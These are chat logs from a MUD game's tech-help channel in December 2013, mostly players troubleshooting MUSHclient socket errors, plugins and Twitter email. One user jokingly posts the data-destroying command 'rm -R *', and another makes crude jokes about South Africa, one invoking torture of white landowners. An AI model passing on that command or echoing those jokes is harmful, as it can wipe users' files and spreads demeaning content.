T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: you don't know until you try
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: it could be fileshare software that's getting in the way...
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: what like utoorent?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: absoloutely
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: utorrent and aardwolf disagree
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: ive found that in the past myself
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: so i switched to vuze
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: works fine
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Gener Tech: really?  I can use utorrent and still play aardwolf.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Madcatz Tech: If he's connected to the same port/ip now that he can't connect to in MUSH, then it sounds more like something (eg. a firewall) is blocking the application completely.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmm ok i'll try one more time then shut down and start
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Madcatz Tech: Rather than a port problem
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: true
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Madcatz Tech: bit defender might have a separate firewall, not sure
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Madcatz Tech: putting it to game mode probably doesn't shut off the firewall if it has one
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmm well that didn't work and i shut down the firewall of bitdefender
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: all i have left is to completley delete the mush file and shut down..restart and redownload and see what happens
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: do you have a whitelist or similar function in bitdefender?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: wait a minute
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yeah i do
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: you shouldnt have (myworldname) in the ip section
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: paste the error message you get again
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: probably have a blacklist too, make sure mush isn't on that one.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: ---unable to create TCP/IP socket for"aardwolf",code=10106(unable to initialize a service provide)---
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: if your connected with one client it maybe that you cant connect with mush at the same time
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: have you tried quiting the current client then loading mush?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: no but it gives me the same message when i'm offline it just won't start at all
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: nah, that's a serverside decision and if I recall Aard will boot the existing connection in favor of the new one.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: also did you unzip the mushclient compressed folder?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yes i did i opened it with winrar and used the unzip exe file
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: i didn't move it out though
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: ahh
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: what?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: where is your folder located in c:zz
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: c:\
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: no i kept the file in downloads
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: hmm
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: try moving it to a folder up past users
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmm ok
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Gener Tech: did you try to put aardmud.org in tcp/ip field?  thta is how mine is setup by default.  
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yeah i tried with and without aardmud.org
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: yeah also double check you ghavnt got anything silly in any of the connection fields hit alt+enter to bring up options
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: try changing world name to Aardwolf
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: hmm nope nothing...might it have something to do with the fact i have 3g internet from a dongle and not a stable adsl connection?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: if that were true, your entire internet connection would go out.  Were you noticing general internet failure when you were having your mush problem?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: not at all it's been running at a full 3mb speed
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: i doubt its that then
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: what does it mean when it says there is a problem with the service provider?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: have you tried a different game to see if it's actually mush versus the aardwolf connection info you're trying to use?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: a different game like what?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tigernuts Tech: it means the NSA have done a great big turd on your ISP's hardware and broken something
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: ok that's confusing...the thing is i live in south africa
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: any other mud.  If you can get through to that game, the problem is obviously whatever connection info you put in for aard.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tigernuts Tech: South Africa doesn't have fibre Internet, it has specially-tuned cowbells for data transmission
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: true but still i don't use a cable i use a 3g dongle which is like a usb the works off sattelite
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tigernuts Tech: DNS lookup is done via the slow torture of former white land owners
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: wrong, dongle works from transmitters
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: really? i didn't know that
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: dongles are basically cellphones for computers.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: at least in this country they do
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: you're probably right
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tigernuts Tech: all mobile phone communication is IP based now anyway, is it not?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tigernuts Tech: just like all phone calls
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: not sure on that one
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: nope, VoIP is different than landline.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yeah that's the problem
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tigernuts Tech: landline is datagram
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: i think i might need a proper adsl line if i want the client to work
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: no, you don't.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: i could try on my laptop and see if it works there
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: maybe it's a problem with my pc's sockets itself
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: Awesomenator Tech: i need help when i try and use my mush client i get this---unable to create TCP/IP socket for"aardwolf(my world name)",code=10106(unable to initialize a service provide)---what do i do?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Hanslanda Tech: the type of connection you have is completely irrelevant insofar as you haven't yet run out of bandwidth.  With 3 megabits, you probably haven't come close to running out unless you have a ton of torrents hogging it all.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Negader Tech: do you have a virus scanner, that could be blocking your port, or not allowing the program to use the port
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: looks like you have '(myworldname)' somewhere where it shouldn
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: shouldn't be
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: you could look at mushclient website to check what the error number actually means
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: well no i ahve tons of bandwidth and my world name i put there just to show that the world name was aardwolf
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: other than that im stumped
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: i'm going to reset all my sockets and see if that makes space for the mush client
T3/r7/2013-12-03.txt.gz:{chan ch=tech}The Slithy Toves Tech: Did you try connecting to aardwolf by IP perhaps?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: yeah i used the right ip address and tried aardmud.org
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: correct I.P in I.P field should connect to aardwolf
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: provided the port and the proxy settings are right
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: wait what do i need in the proxy?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Dolt Tech: try running 'netsh int ip reset'
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Dolt Tech: then reboot
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: i would quit out of utorrent too in the little arrow thingy in the bottom RIGHT corner
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: (click it, right click utorrent --> exit)
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: ok well might not help since i'm using my administratior account and it's still saying i need to run as admin so i'm pretty much stuck
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: right click... run as administrator
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tormat Tech: rm -R * (grin)
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Dolt Tech: yeah, run the command prompt as administrator to elevate it
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Jigabyte Tech: and it's a bad idea to use an admin account for everyday use
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: ok gimme a sec
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Dolt Tech: it sounds like you're getting a pretty generic provider init error, resetting tcp/ip might help, but if it were the cause I'd expect issues with your browsing and torrents too. It's more likely the client's missing a dll or something.. somehow.
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: OMG resetiing my wisock and IP worked that's for your help guys
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tech: Dolt goes, "OK".
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tech: Jigabyte tosses Awesomenator up in the air, he loves it!
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: ...this was really intense 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: thank you for all your help 
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Tech: Jigabyte goes, "OK".
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Awesomenator Tech: lol really?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Navi Tech: Hm, maybe someone can figure this out.. I'm using windows, and just had an issue when plugging in my flash drive - for some reason in the volume, itunes is now getting auto adjusted to about 25-30% of what the master volume is. Anyone know what might cause that?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Negader Tech: if I have vista and have a printer attached, and want to share the printer, I also need to install other OS's drivers?
T3/r7/2013-12-03.txt.gz:{chan ch=tech}Adrym Tech: anyone familiar with installing new OS on android phones?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is there a way to make the characters in an xterm wrap to fit a smaller window instead of using a scroll bar?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Naud Tech: does anyone else have problems with the search and destroy plugin when running it on mac? it always seems to give me an error when doing the automated hunt trick.. can anyone give me some help please?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Ayon Tech: Anyone have some experience with Lua SQLite3?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Naud Tech: does anyone else have problems trying to run the Search and Destroy plugin properly on a mac using wine?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Pleiades Tech: wine crashes frequently on my mac
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Pleiades Tech: well... mush that is
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Naud Tech: well i am using that program called "playonmac" this client works wonderfully but when i upload the plugin, it works but for some reason it isn't liking to the auto hunt trick 
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Pleiades Tech: how is it not liking it?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Abernacky Tech: Is there a stable inventory plugin anywhere?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Abernacky Tech: I'm sorry, A stable inventory plugin for MUSHclient, that is?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Alcor Tech: Is there a way to put a pause/wait in an alias in mush?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Piffaron Tech: so, apparently drilling a hole through your cable line impacts your connectivity...
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you leave the drill in place it should be ok. Go buy a new drill.
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Piffaron Tech: great idea
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Piffaron Tech: I just told time warner that we had mice
T3/r7/2013-12-04.txt.gz:{chan ch=tech}WIBBLING Curi Tech: any emacs folks around?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: [**NOPK**] Redwood lives in fear.
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I used to be hardcore Emacs man, but not for years now.
T3/r7/2013-12-04.txt.gz:{chan ch=tech}WIBBLING Curi Tech: robbo, i got it, was trying to save customize-group thing and it wouldn't but basically he hacked the file to force it to save heh
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Ah, *nodnod
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Good, because I probably only remember enough to be dangerous anyway :P
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Madcatz Tech: in the menu, go to game->test trigger.  Can simulate mud output there.  That what you want?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Madcatz Tech: mis
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: that's what I suggested first, but he's not testing
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: no i'm just responding to abelinc's claim there's no real use for 'simulate' function other than testing
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: there isn't
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: so you claim but you can't find a solution to the problem
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: you have yet to come up with a real contrived one
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: i just gave you one
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: no you didn't
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: url subs
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: and tag cleaning
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: tag cleaning is already handled, and what sub for urls? they're already clickable
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: they're clickable through a sub function
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: they're clickable through a hotlink function
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: which requires omitting and recreating the line
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: via print
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: funny, I wrote one
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: funny that you don't see the issue then
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: there is no issue
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: so you claim, but double printing continues to occur
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: i guess you don't mind sloppy code :p
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: I have no double printing
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: is http://www.google.com double-printed for you?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: no, because i've sorted it out for channels
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: nothing to sort out...it ships sorted out
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: Redryn sighs.
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: if you only use the basic mush package yes.
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: or any enhanced version of it
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: whenever you write a trigger that has subs/gags you have to consider conflicts on trigger text
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: which can be avoided by using simulate
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: or by not simulating...
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: if i wrote a trigger that would take * Abelinc * and reprint it as * Talkalot *
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: that google.com line would be written 2x
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: correct?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: wouldn't know, as I said, I wouldn't ever bother with frivolous subs
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: ok
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: you've claimed that there are real use cases, but I haven't heard a single one yet
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: echo command has no real use outside of testing
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: i don't bother with frivolous triggers
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: then you don't have an issue to be solved
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: so what is your definition of real use case?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: so far all you've given is changing my name to talksalot...
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: i'm pretty sure all examples i give will be called frivolous non real examples
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: so please define it first :p
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: [04 Dec 22:40:55] (Imm) Abelinc: it's usually easier to help when the ones asking for help don't contrive example situations and just gives the real one
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: there are so many situations with useful subs
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: i could run a blacklist of names
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: and highlight people
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: sub renames
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: etc
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: oh
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: if i run a database to store pclass/race of SH chars
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: and sub SH titles with it from who
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: people who have urls in title will also get printed 2x
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: Redryn pats you on your head. 
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: if you have a better solution than simulate pray tell
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: I've told, you've dismissed...
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: what did you say?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Redryn Tech: your solution is don't make those triggers?
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: when you first asked how to simulate, I gave two suggestions...one being what madcatz suggested in the test trigger, and the other being echo...one isn't anything like what you want, and the other you dismissed despite it actually doing what you want...
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: note that there is a function to simulate MUD output...but it is strongly suggested that you don't use it for your intended purpose
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: Fiendish uses the simulate function to strip the {tags} in the aard_chat_echo.xml plugin
T3/r7/2013-12-04.txt.gz:{chan ch=tech}Tech: you can read probably more than you want to know about the hows, whys and whyyoushouldn't here: http://www.gammon.com.au/forum/?id=11073
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tepeyollotl Tech: every time i use or put something into inventory i get a trigger function "invmon" not found or had a previous err and trigger function "broadcast_invmon" not found or had a previous error. any way to fix that?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: reload inventory plugins
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tepeyollotl Tech: thank you. will give it a go.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: basically, a plugin crashed earlier, and won't work until MUSH is restarted or the plugin is reloaded
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: until it gets to the end of a cycle, there's not enough information to chace ranges with any degree of reliability
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: mis
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lokathor Tech: i'm using the default aard client from the website, but i recently moved from a much wider screen to a smaller sreen, and now the chat log window goes off the edge. is there a command to make it shortened to the screen?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Crnogorac Tech: why does Thandel's conflict fk up with search and destroy? :S
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Crnogorac Tech: how do I delete a specific cexit?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Piffaron Tech: mapper delete cexits if you are in that room
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Crnogorac Tech: Why cant search&destroy deal with Conflict?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Crnogorac Tech: Thandel's conflict *
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lasher Tech: If you figure it out let me know we can add it to other areas.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Crnogorac Tech: Haha
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: Vost chuckles politely.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lasher Tech: just kidding, be easy make 'hunt 1.abcd edef' lie, nobody ever _types_ that crap.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Mye Tech: hey, i actually do type that crap.. don't use it very often either
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Mye Tech: i imagine your issue is that you still have the map from the area thandeld's replaced -- you would need to purge the area and remap it.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayon Tech: anyone have much experience with mini windows?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayon Tech: for MUSHClient.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Trachx Tech: you can check S&D code 
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Trachx Tech: or ask Bast
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayon Tech: S&D?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Trachx Tech: finger Winklewinkle
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Trachx Tech: for S&D plugins - there is a windows with list of campaign / GQ targets
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayasinda Tech: almost all of Basts plugins use mini windows. You can check them.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayon Tech: Ahh. I was looking at various miniwindow plugsin, the ones from Fiendish..
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayon Tech: my problem is more like: It seems that the text encoding isn't right and some junk chars show up.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Trachx Tech: anyway, first check whether there exists plugin you need before writing it yourself
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Ayon Tech: Thanks for your help :)
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lukesmart Tech: could a virus or malware affect my networking powered by an huawei modem?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lukesmart Tech: so I've started a scan of my computer, will this help?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Trachx Tech: depend on problem, won't help in case of smart malware
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Tech: if it is caused by virus/malware, and if it's one that's detected/corrected by your scanning software
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lukesmart Tech: I have hsda with around 28% signal strenght and my connection doesn't drop but I keep getting the annoying google reload page.
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Lukesmart Tech: strength*
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Fanto Tech: does MUSHclient have a macro bar plugin?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Turie Tech: What is the command to see the xterm colors?
T3/r7/2013-12-05.txt.gz:{chan ch=tech}Definitely Defines Tech: color 256
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have an idea on why outlook 2013 would crash shortly after launch? i have reinstall, repair, offcat, outlook config diagnostic, and safe mode still crashes
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Shinwoo Tech: does anyone know how to reset the S&D window location?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Trachx Tech: xset reset gui
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Shinwoo Tech: thanks so much
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: are there any twitter exprts out there?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Is there anyway to somehow link Twitter to an email where it will email me on some regular basis the tweets of everyone I follow?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: you're suppose to subscribe your email to your twitter account
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I get those pesky twitter emails now and again
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zade Tech: if Twitter were set up to do Emails, that may increase email spam at least a 100fold 
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I think twitter already does that when you add that email to your account? Maybe you aren't describing the problem right?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zade Tech: does one email contain several hundred tweets or a separate emial per tweet
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: tweetymail.com?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Gener Tech: at hte moment twitter will only send a weekly digest to email address
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I want an email on a regular basis.  Soemthing like hourly, or daily.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: well, I would hope it would be a digest every so-many hours, otherwise it'd spam you to death.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: ayon what is tweetymail
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i don't follow that many people
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and i can create an account to follow just a select few i want in an email
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: it seems to be a service that lets you tweet by email, and receive emails base on tweets/mentions, I just googled the problem.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I don't use Twitter, that's for end users...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i definitely don't tweet, I'm just a lowly follower
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: It gives you the person who has tweets and how many you've missed (only that you follow)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: Twitter seems to have a rest API.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: so i follow snoop dog and marshall mathers i would get "snoopdog has 2 tweets for you, marshall mathers has 1 tweet for you" so on
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: in one email
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: lukesmart - how do you do that and how often do you get that email?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zade Tech: if online 24/7 waiting for important tweets, surely there is an app oir program to sound a loud alarm to rouse the household when the eagerly awaited wondrous tweet arrives
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: like the other guy said weakly
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I really don't know, as I said, I don't use Twitter or anything to do with it, but there are online services that do something that sounds like what you like, otherwise you can use the REST API on a cron job to send you an email every hour or so with the tweets, or some kind of info...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I am 99% certain that there is an app/service that will do what you want.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i used to use ifttt.com  but twitter banned them
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea luke, weekly is way too long, i want a daily
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I only get them now and again, my email is slow now a days, would you like me to log on and off and relay the message on how long it takes them?
